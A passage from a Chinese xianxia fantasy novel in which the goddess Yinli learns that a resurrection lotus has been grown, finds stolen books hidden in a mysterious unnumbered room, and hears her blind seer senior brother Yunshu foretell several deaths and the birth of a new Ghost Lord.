他的栽花养药之才并不突显,失明以后,更加难以完成复杂的劳作,但他终究也是亲近自然草木的灵蛇,沉静地立在树边,竟像真要与梨树融为一体。 大抵是云舒能看见的东西与寻常相差太多,银梨一向觉得自己不太懂他。 无论与师兄再怎么亲近,他仍被一重迷雾深深笼罩,看不透,琢磨不清。 大抵是看出银梨面对云舒有些紧张,金琼拍了拍银梨的肩膀道:“师妹,这里不是说话的地方,我要跟你说的事好多,我们先去银月城吧。” 银梨称好。 一行人决定回银月城。 云舒要走的时候,银梨见他抬手摸索,想都没想到,回过神已一个箭步上前,欲扶着师兄行走。 ——这也是过去留下的老习惯了。 云舒视线有碍,银梨曾照料陪伴他很长一段时间,许多事都成了顺手的本能。 银梨发觉身体行动,连自己愣了一下。 但是,有人先她一步,更快搀住了云舒。 ——只见磬言不知何时静悄悄地移到了云舒神君身畔,从容不迫地扶住了他。 磬言一整套动作闷声不响,全然无人注意到他。 “公主,这些事,还是由我来吧。” 磬言彬彬有礼地道。 “尽管云舒神君是公主的师兄,不过,这般琐事,还不必公主亲自动手,我来即可。” 磬言动作太快,银梨都未料想到自己手会落空。 反是云舒神情淡然,全然不介意来扶他的是何人。 金琼看着搀扶云舒的磬言,疑惑地问:“师妹,这位年轻人是……?” 银梨忙介绍道:“他是跟在我身边的月宫弟子,名叫磬言。” “你的随行弟子吗?” 金琼惊诧。 “君竹这么快就调往别处了?” 看金琼师姐的样子,竟是只知道君竹,全然不知道还有个磬言。 银梨只好又解释:“君竹还在,磬言是在她之后来的,资历要浅一些。现在我身边是君竹和磬言两个人轮流随行,今日我本来不想带人,是磬言自己跟过来的。” “你竟同时用两个随行弟子,其中一个还是男的。” 金琼稀奇不已,上上下下地打量着磬言,像看什么珍稀动物似的。 “这么多年,我还是第一次见你用男……” 忽地,金琼视线闪了闪,里面的疑问逐渐降低,最后消散。 她改口道:“不过,你以前身边人是太少了,君竹本就忙不过来。不时有些变化,也算因时制宜,是好事。” 之后,便不再追问磬言。 * 回到月宫,云舒说久违地想见见青霜师弟。 金琼则是有话要对银梨说。 俩人先将云舒送到青霜那里,一转头,就一同钻进了书房。 金琼一开口就是好消息:“师妹,你想要的复生莲,我种植成功了。” “当真?!” 银梨大喜过望。 金琼:“是。” 复生莲,顾名思义,是可使生灵复生的莲花,哪怕是仙神,也能在复生莲中血肉重生。 银梨与青霜,从未放弃复活月神。 月神陨落,邪鬼当道。 尽管预言中的鬼君,一直是迫在眉睫的危险,但当下的世道,即使杀了鬼君,仍然治标不治本。 太阴星日益衰弱,若没找到逆转之法,早晚会彻底熄灭,让凡间彻底堕入永夜之中,凡尘再无幸存者。 在永夜之中,即使死了一个鬼君,谁能保证不会 有第二个、第三个? 况且,即使没有鬼君,彻底失去太阴星后,月光不存,四季潮汐不有,土壤田地寸草不生,万物又要如何生息? 这世上,有且唯有一条治本之道—— 复活月神。 银梨和青霜在奋力找办法让姐姐重生,既是出自情,也是出于理。 这世上能让仙神复活的方法并不多。 复生莲,便是其中之一。 金琼道:“复生莲自古生长于凡水至高处,沐浴天河之灵光,每十年生一片花瓣,开满十一瓣才可摘取。 “使用者要将欲复活者的发肤血肉放入莲心,待莲瓣闭合,再经五百日二次开花,复生之人便会在莲心中重生。 “只是,这复生莲一旦摘下,便要在三天内使用。 “此物非但生长环境要求极高,使用条件也极为苛刻,获取和保存都十分困难。 “本来就是难得一见的珍品,月神陨落以后,凡境鬼气弥漫,天河灵流也有所减弱,普通植物尚且难以生存,更何况复生莲这般对环境非常挑剔的珍品? “在过去百年里,我等遍寻天下,都没有找到复生莲的踪迹。 “本以为如今要得此莲已不可能,万幸,三十年前,守天城的一位女仙外出调查时,在凡河高地一处冻住的冰壁之内,找到了一个复生莲的莲蓬,然后,她将莲蓬送到了天水城,也就是我这里。” 金琼一边说,一边喝口茶。 这些事,银梨也有印象。 只是复生莲实在太过难得,数千年来都只在幽静的天然域界中生长,无数身怀本领的仙神前赴后继,都未能人工培育成功。 当年那个莲蓬,银梨没抱什么希望。 但金琼放下茶盏,继续说:“那莲蓬恐怕在冰川中冻了六百年以上,由于冰川的阻隔,它并未受到外界邪气侵染,但相应的,已活力尽失,成为死物。 “好在,我们羽螭蛇一族,天生亲近植物,有特殊滋养之能。” 金琼眼眸一闪,瞳孔竖起,巩膜变色,突然从与常人无异的黑色,变作了与云舒相似的琥珀色——不过,金琼的眼睛颜色要深得多,亦没有容易破碎的琉璃感——她的眸色并未受到过神眼的影响,这才是最纯正、最正宗的羽螭蛇金眼。 金琼道:“我施展自身之力,将灵气探入莲子中,不断滋润活化,终于在其中一颗沉睡的种子中,觅得一线生机,成功将其唤醒。 “然后,我取凡水与天河之水流,按比例混合,模仿复生莲过往生息之条件,令其发芽生叶,最终开花。 “只是,复生莲正常十年生一片花瓣,实在过于漫长,我们未必有这么多时间。所以,我尝试将羽螭蛇的灵华注入其中,经过几次尝试,顺利将周期缩短了一年一片花瓣。 “如今,我养出来最大的一朵复生莲,已经有十片花瓣,最后一片待我催发便可长成摘取,你想什么时候取用都行。” 银梨听得震惊。 她清楚复生莲种植绝非易事,哪一个阶段都有可能功亏一篑,所以即使知道金琼师姐在养复生莲,也从不敢催她,怕给她压力。 没想到,金琼师姐一上来,便是这样的好消息。 金琼毫无疑问是稀世的天才。 只唤醒一颗莲子,意味着金琼从头到尾,就只有一次机会。 过去数千载,无数意图人为种植复生莲的仙凡神灵,都在这朵莲花上折戟沉沙,从未有谁成功,更无经验可循。 唤醒花种、模拟生长环境、育成复生莲,每一个环节,无一不是难关,而金琼不但一一攻克,甚至还主动尝试了缩短复生莲花瓣的生长周期。 这其中无论哪一项突破,只要公开于世,都能震惊世人。 而羽螭蛇本身的能力,无疑让金琼如虎添翼。 她提到的“羽螭蛇灵华”,乃是蕴藏在羽螭蛇蛇牙中的一种灵液。 寻常蛇给人的印象,是牙中可能含有毒液,能置人于死地。 而羽螭蛇正好相反,它们亲近世间生灵,有转死为生之能。它们牙中储存的灵华,有治病救人、滋养众生之效,如今看来,拿来滋补复生莲,亦有奇效。 可以说,重现复生莲一事,若非金琼,世上只怕无人可以做到了。 银梨感慨万千,多年来,这是她听到最好的消息。 “师姐,我……” 道谢的话嵌在喉中,可无论如何措辞,似乎都不足以言谢。 银梨语无伦次地道:“这真是……若没有你的话……我……” 话到最后,险些哽咽。 金琼知道她想表达的意思,拍拍她的手,却没有那么乐观。 她说:“复生莲是有了,但师妹,你知道,最大的问题不是这个。” 银梨胸口一坠。 她心里也清楚。 复生莲的复生方式,是以血肉重塑血肉。 这是最重要的一环,如果没有,便无法成功。 换句话说,以复生莲复生,必须要有欲复活者的血肉发肤作为引子,让其在复生莲的莲心重新生长,才能实现重生。 然而,月神当年丧命于天火,身魂俱灭,没有任何可供复生之物留下。 这些年,银梨和青霜找过姐姐居住的所有仙宫,翻遍了角角落落,仍没能找到可供复生的材料,可见是真的没有。 唯一有过的希望…… 银梨摸上胸口。 那里放着姐姐头发所化的护身符。 要是此物炼化的速度慢一些就好了,若它没有化成护身符,还是姐姐的头发,那现在复活姐姐,已不是幻梦。 金琼自是知道她的难处,想了想,道:“银梨,若是实在不行,我们也不要将所有希望都放在一条路上,再寻一寻别的办法。 “其实,比起复生莲,我一直觉得另外一样神器,更适合用来复活神女。 “不是传闻,月婵神女曾有一面镜子,名为‘回光’吗? “据说那面镜子,用非常特殊的玉石打造,同样有复生仙神之能,而且不需要血肉为引。 “要是我们能找到这个镜子,或者找到相同的材料,再重新铸造一面的话,应该也有希望复活月神吧?” 第26章 复活仙神之术, 世上确实不只一种。 金琼口中的回光镜,正是另外一种有此神奇的神器。 相传,回光镜是千年前神女月婵以某种极为特殊的玉石, 辅以诸多天灵地宝打造。 这面镜子, 可以照映魂灵, 洞晓人心。 只要使用者看着这面镜子,表现出足以打动镜子的虔诚,它便能会聚人心中所想,即便是已死之人的魂魄亦可聚集, 从而令亡者在镜中重现, 破镜而出。 相比较于需要血肉作为媒介的复生莲, 这传说中的回光镜,倒的确更适合用来复活姐姐。 然而,明明有如此好用的神物存在, 复生莲仍是仙神之间最常用的复活办法。 原因无他,只因哪怕复生莲如此难得, 它仍是复生之术中最简单的。 其他的办法, 只会一个比一个麻烦。 复生莲可以反复生长、采集,与之相比,回光镜世上只有一面,而且, 铸造材料与方法均已失传。 而仅此一面的回光镜本身, 亦在数百年前就不知所踪。 在传说中, 回光镜乃是神女月婵之物, 神女月婵爱之甚,将其别在腰间,随身携带。 然而, 自银梨有记忆起,就从未在姐姐身上见过这么一个东西。 姐姐有一阵子喜欢捡石头做成各种东西是事实,银梨与青霜便是由此诞生,若说她还做了其他玩意,很有可能。 但以姐姐的性情, 若回光镜真的存在,肯定也不是特意为了复生术铸造的。 银梨猜测,多半是她一时兴起就随便打了一下,没想到铸造出如此神物。 姐姐有可能是看这个镜子好看就一直戴着,但即使如此,姐姐也未必就真把它放在心上,没准把玩两天,就丢到一边去了,或者干脆就是带在身边结果反而丢失在了外面,连她自己都未必想得起放在哪儿。 姐姐是生来不老不死、与天道同寿的神女,正常而言,她永生永世都不可能用上回光镜,世俗所追逐的长生,于她而言,能有什么意义呢? 那场焚灭一切的三界异火,实在是特例中的特例,没有人能料到。 银梨也不是没有尝试过寻找回光镜。 她和青霜翻遍了月宫,翻遍了神殿,翻遍了姐姐过去住过的每一个居所,几乎掘开了每一块地皮,都没有找到像回光镜的东西。 银梨也从没听姐姐提过此物。 事实上,世上最后一次关于回光镜的记载,距今都有五百年以上了,比银梨有记忆的年龄翻倍还要多,实在是久远的事。 世人本就会编造许多神乎其神、玄之又玄的事迹来歌颂姐姐,抬高她的地位和功绩,许多关于姐姐的传说,未必真有其事。 银梨几乎要以为,回光镜没准也只是个他人捏造出的故事罢了。 但当时,也是师姐,专门去见了正在仙界灵蛇洞中养伤的观真神女,回来告诉银梨道:“我问过母亲了,母亲说,她的确曾在月婵神女身上见过一块奇特的玉镜,可能就是所谓的‘回光镜’。” 观真神女当初试图从天火中救出月婵,受了重伤,至今都在仙界的洞府中闭关养伤,意识时断时续,已不问世事许久。 银梨去的几次,都未能碰见师尊清醒的时候。 听闻师姐见过了师尊,银梨忙问:“师尊身体可有好转?” 师姐点头:“好些了,但要完全恢复,应当还要很多年。天水境,暂时只能由我与云舒管理了。” 天水境本就是一处秘境,比其他灵地更不容易受到鬼邪侵入,金琼与云舒姐弟又是观真神女的亲生儿女,由他们管理,必不会有问题。 银梨又问:“那师尊是如何说的?那块玉镜可能在哪里?有什么特征吗?” 金琼师姐用双手比了个环,道:“母亲说,那块镜子差不多手掌这么大,外观简洁精致,见过必会多看两眼。 “它是宝玉所制,但一般玉镜只能用作装饰,即使叫作镜子,也照不出人影。 “但那面玉镜不同,它玉质极为通透,打磨技艺巧夺天工,是真能映出人相来。 “纹样……母亲已经记不清了,只记得玉镜正面周围一圈,雕刻有上古月相朔望图。 “至于在何处……母亲也不清楚,毕竟距离母亲最后一次看见,可能也过来六百年了。” 若是师尊所言,那可信程度是极高的。 回光镜真的存在。 可是,要找一个丢了五六百年、巴掌大的小玉镜,谈何容易呢? 银梨心里也想找到回光镜,奈何实在没有头绪。 听闻金琼又提起此事,银梨不无苦涩地回答:“师姐,这面回光镜,我们没有放弃寻找,只是实在没有像样的线索。 “世人都说这是姐姐之物,但年代太久远了,我从没见过。 “若是连我和青霜都找不到,这世上还会有谁知道在哪里呢? “我和青霜肯定会继续找的,但没有线索,无疑是大海捞针,不能抱太多希望。” 比起虚无缥缈的回光镜,复生莲至少看得见、摸得着。 当然,如果一直找不到引子,那即便种出再多复生莲,同样也只是镜花水月一场。 银梨他们如今能做的,就是竭尽所能,将所有能抓到的筹码都攥在手心里,寻求一个可能的契机罢了。 金琼自是理解他们的处境,闻言轻轻叹了口气,道:“我知道了。师妹,你若有用得着我的地方,不必顾虑,尽管开口,我定会帮你的。” “多谢师姐。” 月神陨落、长夜来临后,凡世大多仙神都回归了安全祥和的仙居之界,金琼师姐和云舒师兄愿意留下来,这些年更是不遗余力地帮助银梨和青霜,银梨自是感激不尽。 不过话到此处,银梨不由问道:“对了师姐,云舒师兄此番特意前来,是——?” 云舒师兄身负异才,身体受限,惯来很少离开居所,更不要说出远门,现在竟千里迢迢来到银月城。 他的预知之能,既是启示未来的明灯,又是悬在头顶的利刃。 正所谓无事不登三宝殿,云舒师兄前来,银梨害怕是大事。 银梨想探知一二,然而,师姐亦只是摇头:“他没有对我说,我也不清楚。我拿着你的信去找他时,便看到他早已收拾好行李,候在屋中等我与他一同来银月城了。” 银梨能想象到那个场景。 云舒师兄因有神眼之故,行事惯来自我,与常人差距颇大,一不小心就会吓人一跳。 金琼亦很无奈:“师妹,我弟弟这个人,你知道的。他有他自己的认知,若是他认为不该透露的,一句话都不会多说。 “不过……毕竟是云舒,他的举动总归有些含义。 “他之后肯定会找你,你到时听他说吧。” * 送金琼师姐去客房休息后,银梨心中忐忑,便想直接去寻云舒师兄探探底细,谁知去了青霜的书房,两人竟都不在。 银梨拦住在门口值岗的月宫弟子,问:“你可知哥哥与云舒师兄到哪里去了?” 月宫弟子回答:“方才少君与云舒神君相谈盛欢,少君谈起银月城还有些疑案悬而未决,请云舒神君给些建议。云舒神君掐算一番后,两人一同往内门弟子的住处去了。” ……内门弟子的住处? 去那里做什么? 银梨不解,向值岗弟子道谢后,便转道往那里去。 谁知,银梨到时,弟子房处大为骚乱—— “出事了!出事了!” “云舒神君来了!” “怎么回事?” “听说在弟子舍房,找到了赃物!” “什么?” 内门弟子的居所位于月宫最东侧,屋舍有三百间之多,一楹紧连一楹,整齐有致。 月宫的鼎盛时期,弟子舍房供不应求,不断扩建仍人满为患,而如今,大多屋子都空了出来,平时难免萧条,像这般喧嚣,已许久未有过。 院内,几乎所有舍内弟子都聚了过来,平时看着幽静的月宫,忽然像闹市一样嘈杂—— “这些书怎会在此处?” “云舒神君怎么……” 在一片喧嚷中,银梨跟随人流到了最热闹的地方,往人群中心挤去。 众人见是银梨,纷纷自觉让出道路。 银梨走到正中,看到里面的场景,倒吸一口冷气—— 书。 满地都是书。 银梨上前拾起一本,翻开一看,耳尖尴尬得红了一下。 “……这不是两个月前,藏书库失窃的那批书吗?” 从较新的线装书,到古老的竹简,应有尽有,全都倾泻在一间弟子屋舍门前,堆得像一座小山。 全都是同一种类型。 两个月前,银月城的藏书库丢失了大批婚俗民俗类的藏书,因其中还掺杂着大量房.中.术书籍,品类太过奇怪,银梨记忆犹新。 而现在,这些书竟全都在这里! 银梨呆滞片刻,紧接着便是不可置信—— 这些书,怎么会在这里? 这里可是月宫弟子的内舍! 她抬头去看青霜和云舒。 云舒不冷不热、淡薄依旧,青霜则与她一样错愕。 青霜迎上银梨的目光,便向她解释:“之前藏书库失窃案的犯人一直没有找到,我本来只是向师兄提了一句,但师兄掐指一算,直接将我领来了这里。没想到……” 青霜说话的时候,在他背后,有一个人将自己隐在阴影之中。 人群之中,磬言眼神漠然,冷若冰霜,面色前所未有的阴沉。 银梨看向这些书的藏匿之处,问:“这是谁的房间?” 难怪失窃的书怎么找都找不到,谁会想到银 月城藏书库的书,会被放在世间最安全清廉的月宫之中? 如此多的书籍,都是从一个内门弟子的屋舍中洒泄出来的。 门口堆的只是一小部分,房门内更是塞得密密麻麻,没有半分喘息的空间。 想来云舒师兄将青霜带到这里后,有人将门一开,里面的书就失去桎梏,直接如雪崩般倒塌下来。 然而,没有人回答银梨。 诡异的寂静。 正当银梨要再问一次时,才有一人上前,小声对银梨道:“公主,这间屋子有问题。” “什么问题?” “您看这间屋子的编号。” “——!” 弟子舍区域内,由于所有房间的格局外观相似,为了便于区分安排,每一间都排有编号。 这间屋子位于这一整排舍房的内侧,是相对来说最少会有人经过的区域,但它又没有贴在最里面,而是一个中不溜的位置。 此屋左边的房间,编号写着“丙”。 而它右边的一间,编号写着“丁”。 丙和丁是连号,这两间屋子中间,本不该有东西。 然而,现在,这个堆满书的屋子,就夹在丙字房和丁字房之间。 门牌上空空的,没有编号。 一个,平白多出来的房间。 那月宫弟子道:“这一排屋子,在月宫人少以后,早都没有人住了,皆是闲置很久的空屋,平时连经过的人都很少。这间屋子……没人知道是什么时候多出来的。” 第27章 在无人经过之处, 一间凭空出现的无字屋。 无法忽视的寒意从脚心爬上来,刺激银梨的每一个毛孔。 银梨从未像这样确定,月宫并不安全。 月宫的格局是姐姐亲自定下来的, 她和青霜继承月宫以后, 也有改动的能力。 但月宫中的其他人没有, 绝不应该有。 此前的种种怀疑,在这一刻尘埃落定,有了定论。 ——有东西。 一定有东西混入了月宫中。 问题是,是谁, 什么时候, 怎么混进来的? 该如何抓住它? 饶是银梨内心惊涛骇浪, 面上仍不动声色,没有任何异状。 银梨知道,这里有一个人, 一定很接近答案。 她抬起头,一双眸子定定地望过去。 云舒师兄同样面对着她的方向, 他脸上覆着白绫, 外人看不清眼神,唯有嘴角噙着淡淡的笑,云淡风轻。 银梨站起来,问:“师兄, 你能与我谈谈吗?” 云舒颔首, 并无意外之感。 他道:“今日酉时, 就在……清辉殿外吧。” “好。” 会面敲定, 云舒维持着淡然的笑容,对银梨致意,便缓步离去。 银梨本想追过去扶他, 谁知云舒却对她小幅摇了摇头,抬手一指。 银梨回头,便知师兄指的是那堆书。 什么意思,她应该留下来善后吗? 在银梨迟疑的一瞬,云舒已转身离去。 青霜忙跟了上去。 这回,云舒没有拒绝,扶着青霜一同走了。 银梨起先怔愣,须臾便反应过来,师兄应当是在心里给他们兄妹分好了任务。 师兄一贯高深莫测,他没有主动说,便是没准备现在解释的意思,只怕也不必再问了。 银梨唯有接受了自己的职责,转回头去处理那批书。 这些书肯定要送回藏书库去,尽管民俗也算不上太重要的藏书,但在物质文明皆匮乏的当下,任何知识都有珍贵之处,不可小觑。 而在此之前,还要用定影之术给这里留下影像,以便之后有需要查阅。 银梨蹲在书堆前,正在脑中梳理流程,这时,一双骨节分明的手从后来探过来,从地上拾起了几本书。 “公主,我和你一起吧。” 磬言在她身边蹲下。 他身上的气息清冽,虽是没什么特色的皂角香,但莫名让人觉得干净。 “磬言?” 银梨错愕看他。 “你没有和师兄他们一起走吗?” 银梨与金琼师姐单独在书房说话的时候,她便让磬言去照料行动受限的云舒师兄,正因如此,方才磬言一直在云舒和青霜身边。 磬言摇头:“云舒神君那边好像用不到我,他说要与少君说话,让我离去。我想我硬在旁边干等也不合适,便回来找公主了。” 他熟练地收拣了几本书,叠成一摞,问:“这些书,要怎么处理?” “……我来检查是否有邪物之流的线索痕迹,你将它们大致清点归类一下,方便等下送回藏书库。” “好。” 两人互相配合着。 银梨快速检查了一部分书,都很干净,没有任何邪气。 倒不如说太干净了,连一点气息都没有留下,死气沉沉,不似书库藏书这等公开的世俗之物。 银梨查完一半,不由道:“……这个窃书者,读得还挺认真的。” 几乎每本书都有近期被仔细读过的痕迹。 一些书的折痕被碾平了,一些书曾黏在一起的书页被小心地分开。 还有一些书中落了月梨花的花瓣,银梨起先没懂是什么意思,后来慢慢才发现,应当是用作书签的标记。 银梨拾起一片花瓣。 很新鲜,是最近才捡的,为什么用月梨花的花瓣?是因为月宫里这种树很多,捡一些比较方便吗? 脑海中浮现出一个模糊的人影,一页一页,仔细研读这些书的场景。 磬言正收敛着书籍,回应道:“认真,有什么不对吗?” 银梨说:“婚俗民俗,在这个世道,早没什么人在意了,生命朝不保夕,谁又会在意虚浮的仪式呢?” “我倒是能理解。” 磬言轻言。 “对待自己的心上人,自然应当竭尽全力,做到尽善尽美才是。” 银梨转头去看他,正迎上磬言回望自己。 他嘴角挂着得体的微笑,一双眼眸黑沉沉的,像一个望不尽底的洞。 银梨一揪,不觉错开目光。 同时,她内心隐隐浮现出另外一个疑问—— 婚俗方面的书籍,尚且可以说是对礼节的尊重。 那么,这里堆了半个屋子的秘戏图考,又要怎么算吗?难道这也包含在“竭尽全力”里吗? 不过这话银梨可不敢聊了,默默藏在喉咙里。 安静了一会儿,之后,换磬言问道:“公主,那位云舒神君,是公主的师兄?” 银梨回答:“是啊。” “他很擅长卜算之术?” 银梨笑了:“你可有听说过天水城的副城主云舒神君?他生来异眼,是普天之下唯一拥有神眼之人。 “师兄他的眼睛虽然看不见俗世,但作为交换,能洞穿古今、窥探天道。 “据传,世上没有什么能瞒过师兄的神眼,天地万象,乾坤未来,皆在他视野之中。 “若他还不算擅长卜算,那世上大抵没有人擅长了。” 磬言若有所思,看上去对云舒师兄的这项能力很有兴趣。 磬言问:“当真无所不知吗?那到目前为止,他算出来的东西,有多大范围,又有多准呢?” 这个问题有些意思,银梨略略思考了一下,才回答道:“师兄这个人,心思细腻,城府深远。 “他心里想的事,别人都不清楚,很多事他也不会对别人说得很明白。 “众人皆知神眼难得,但他究竟洞悉多少、能看清多少过去与未来,其实没有人详细知道,连我师尊观真神女和他姐姐金琼师姐都未必完全清楚。 “不过,可以确定的是,那目前为止,只要是师兄说出口的预言,从来没有错过。” “从来没有?” “从来没有。” 磬言拧起眉头,像在考虑什么。 二人将屋舍中的书大致清点过后,银梨看到磬言身上的弟子服,忽然心生一念,问:“说来,磬言,你也是住在弟子房舍这里的吗?” 磬言动作顿了一下,回头微笑:“当然。” 这本是理所当然的事。 可银梨一想到磬言也需要睡觉休息,便觉得很陌生。 他好像一直在她身边,之前即使让磬言回去睡觉,他也会偷偷留在外面守夜。 的确,他偶尔也 有与君竹换班的时候,但在银梨看不见他的那些时间里,他是真的回屋休息了吗? 磬言静静地注视着银梨,竟像在期待她询问什么似的。 银梨问:“你住哪一间?” “上弦六行,庚间。” 磬言不假思索地报出了编号。 他友善地道:“离这里不远,公主想去看看吗?” ……要去看看吗? 直觉有些警觉,但另一重疑虑,又让她觉得有必要探究。 “……好。” 缓慢地,银梨点了头。 磬言的房间。 以前还从未见过。 银梨跟了上去。 磬言说得不错,果然离得不远,只走了几步路就到了。 只是一间很普通的弟子房,普通的序列,普通的编号,左边是“己”字房,右边是“辛”字房,夹在两间再平凡不过的屋舍之间,毫不起眼。 与方才那个放书的屋子不同,这一整排的屋舍都是有人住的,来来往往有些人气,不算荒凉。 磬言打开房门,从敞开的大门里,银梨看到里面的陈设很简单—— 一张铺得干净整洁的床铺,一张半旧不新的木桌,桌上放着两三本心法书册,还有一盏烛灯,灯芯蔫着,蜡泪倦倦地攀在灯身上,像数个时辰才被点过。 这是弟子最朴素统一的布置,没有添置过物品,以至于看不出主人的个人特征。 有生活的痕迹,但不多,看得出主人过着清简朴实的日子。 磬言温和地问:“公主想进屋看看吗?” “……咦?” 银梨在门口看过,探究欲已得到满足,倒没想进去。 磬言说:“许是因为我是公主的随行弟子,前阵子月宫特意给我改分了这个景致好的屋子,开窗以后,正好可以看见院里的金鱼池,还能就近喂金鱼。” 磬言窗台上,果然放了一小袋鱼粮。 他走到屋内,打开窗户,拿起鱼粮,给银梨看。 银梨知道弟子房舍这里有金鱼池,她小时候不时就会跑来喂鱼,透过磬言房间的窗户,她看见了昔日熟悉的景观。 她是喜欢喂金鱼的。 ……不知为何,磬言的邀请,给她一种刻意引诱的意味。 银梨莫名生出不安来,后退了一步。 她婉拒道:“今日算了,我晚上还要去见师兄,现在该回去把手头的事情了结,就不再这里多耽搁了。” “这样啊。” 磬言颇为遗憾的样子。 他说:“有几条金鱼年纪已不小,我看它们活力不如往常,还想若是公主能见它们一面,或许能让它们精神些。” “下回吧,今日时间不够了。” 银梨委婉推拒着,身体已经往外走了一大步。 “你好像也快到换班时辰了,就留在这里休息吧,等见到君竹,我会跟她说的。” 磬言未言,像是同意了。 银梨疾步离开。 等走出老远,她忍不住又回了一次头。 那间弟子屋舍的大门仍然洞开着。 磬言站在门前,一动不动,遥遥注视着她。 他眼睛仍是带笑的,可银梨却感到些许不自在的冷意。 她一颤,拢紧衣裳,尽快离去。 …… 清点书籍花了不少时间,银梨惦记着要向师兄要一个答案,便赶去清辉殿。 黄昏已至,月夜将临。 银梨踏进清辉殿的院落时,一分不差,一分不少,正是酉时。 云舒独自在清辉殿院中的月梨花树下等她。 他抚着树干,明明脸上覆着那么厚的白绫,旁人看不清他的神情,银梨却感觉他此刻的神情,应当是在怀念。 月梨花的花瓣纷纷扬扬地撒落下来。 本就是个轻得像雾似的人,站在这般梨花雨下,云舒像一眨眼就会化作一缕轻烟。 “师妹。” 云舒并未转头,只听到动静,便叫出了她的身份。 “你来了。” 银梨抿了下唇,想切入正题:“师兄,我——” 未等银梨询问,云舒已摇了摇头,道:“我知道你想问什么。” 他直接说出了答案:“谢沉霄已死,救不了了。” 然后,他又抛出一个银梨全然没有想过的事:“我马上也要死了,你也救不了的。” 不等银梨震惊,他笑了笑,说:“还有你好不容易救回来的那两个幸存者,他们命数已至,都活不了。” 最后,他道:“师妹,你必须要尽快解开身上的鬼信物……我有一个办法。”—— 作者有话说:云舒:统统死光。^ ^ 第28章 清晨, 君竹来见银梨的时候,被她的脸色吓了一跳。 “公主,你还好吗?” 君竹陪伴在银梨身边最近的位置, 没人比她更清楚银梨内在的坚韧倔强。 长夜降临以来, 凡间条件太过劣势, 银梨即使被奉为上神,许多时候仍是在强撑,但她一直表现得足够镇定自信,能稳得住局面。 在君竹心中, 银梨即使在仙神中仍不算阅历深厚, 外表也太年轻, 但她仍是个值得尊敬、能时刻掌控全局的优秀神女。 像这样苍白凝重的神情,君竹还是第一次在银梨脸上看到。 她知道,昨天傍晚云舒神君来过, 在月梨花下与银梨密谈到深夜。 他们两人的谈话足够机密。 云舒神君离开后,银梨更是拒绝了所有见面的请求, 将自己关进月梨花树下那个洞穴里, 直到天亮才出来。 君竹有些担心,想要上前触碰银梨。 但银梨在这时回过神来,疲惫地摆摆手道:“我没事,只是没睡好。” 事实上, 是没怎么睡。 云舒师兄带来的, 是比预想中更坏、更复杂的消息。 银梨定了定神, 开口:“君竹, 你将磬言也叫来吧。我有些话……想对你们两个人说。” * 月梨花树下。 云舒就像说一件平淡无奇的事一般,报出了一连串死亡名字,甚至他自己也在将死名单上。 不等银梨消化完这些令她震惊的信息, 云舒便淡淡地抛出真正的主题—— “师妹,鬼君现世了。” “——!” 这一句话,让银梨手脚冰凉,但她竟并未感到意外,反而有种早知如此的落地感。 她深吸一口气,尽力让自己保持主事者的镇定。 她问:“鬼君是何时现的?它现在在何处?是什么类型的邪物?可有杀了它的办法?” “师妹,鬼君不是你想象那样的东西。” 云舒耐心地解释。 “其实……你可能已经杀过鬼君一次了。” “——!” 银梨一愣。 “……我吗?” 她几乎是立即想到了两个月前在荒林中的遭遇,还有那个被大量小邪祟唤作“鬼君”的巨大邪物。 银梨道:“……是去年荒林,龙君头发所化的邪鬼?” 云舒点头。 银梨是觉得它颇有些像“鬼君”,但它已经死了,且银梨也无确凿证据,所以未很笃定地定论,原来竟真的是。 银梨本该安心,但她觉得师兄话中有话,只道:“……它未必是我杀的。我是与它周旋许久,但恐怕并未给它最后一击。” “师妹,你还是对自己如此严格。” 云舒笑了笑。 “我既然认为是你杀了它,便是有我的理由。” “你或许不是落下最后一刀的人,但你消耗掉它许多,并非虚假。况且……它的死,无论如何与你脱不了干系。” 银梨不解,径自揣测着师兄的话是什么意思。 云舒微微仰首,望向逐渐升到空中、那轮雾蒙蒙的清月。 他的面颊被白绫所覆,理应看不见任何东西,但每回师兄仰望明月,都像与月光遥遥相守,有着难以形容的圣洁。 云舒说:“荒林中龙神头发所化的那个,本是天道定下的第一个鬼君。 “但说是运气也好,实力也罢,它死在了长夜里。 “而且,多亏你在那时亲涉险境,我才搞懂了我一直没有彻底明白的鬼君的实质。” 云舒缓了缓语气。 他说:“真正的鬼君,靠吞噬‘鬼君’出生。” “……无月的长夜是它诞生的契机,漫天的鬼瘴和其他邪物会成为它的养分。” “天道选定了一个‘鬼君’,但这个‘鬼君’,只是冠冕的容器。” “它真正属意的长夜之主本不会主动加冕,所以,它需要提供一个契机,让永夜的宠儿被动地登上君位。” “龙神发丝所化的‘鬼君’,就这样成了养料。” “凭借这个养料,就能浇灌出一个更为强大、棘手的东西。” 云舒将面容转向银梨—— “师妹,在本来的鬼君死后,我心中那个关于‘鬼君’的预言非但消失,反而越来越浓烈清晰,像有什么迫在眉睫、紧紧相逼。” “因为,新的君主,已经诞生。” 银梨听得惊悚。 云舒却只是笑。 他说:“据我所见,这个新的鬼君,会比原来的鬼君……不,会比世上的任何邪物,都更恐怖,更难缠。” * 殿中。 磬言被君竹唤来以后,算上银梨,他们三人聚在书房中。 银梨当着两人的面取出两个锦囊,道:“这两个锦囊是师兄昨天给我的,他说,在他里面分别放了两个预言,第一个锦囊我可以马上拆开,第二个锦囊,要等到特定的时候才能取出阅读。” 说着,银梨将其中一个大一点的锦囊打开,取出里面的字条,呈现在两人面前。 银梨说:“师兄告诉我,他算出来,鬼君已经降临此世,由于此故,纸条上写有名字的这几个人皆无法保住性命。 “他们中的人,可能已经死了,即使尚且还活着,也必将不久于人世。” 纸条上,写着四个名字。 谢沉霄,赫然列在首位。 “这是,那位谢仙君……死了吗?” 磬言似乎一眼就看到了这个名字,他表现得有些惊讶。 “那……真是遗憾。” 他垂下眼睑,目光收敛在睫毛的阴影之下,看不出是不是真的很遗憾。 在谢沉霄的名字之下,是两个陌生人的名字。 一个明显是凡间的女孩名,另一个则更像修士。 这估计是药庐那个小女孩和穿山甲的名字,她们没有醒过,也没找到家属,银梨便不知道她们的真名。 不过,既然是云舒师兄算出来亲手写下的,那应该不会有错。 在字条最后,便是云舒师兄自己的名字。 这个名字,磬言也看了一眼,但他好像不怎么感兴趣,很快移开了。 磬言问:“公主,那位云舒神君可有透露,这个鬼君现在正在何处,要如何才能解决掉吗?” 银梨回答:“鬼君修为强大,又可隐于永夜,没有那么容易知晓身份位置。不过,师兄说,他会再行推演,届时再将结果告知我。” “这样啊。” 磬言漫不经心地腰间的穗子,若有所思,但也无太大反应。 “不过。” 银梨话锋一转。 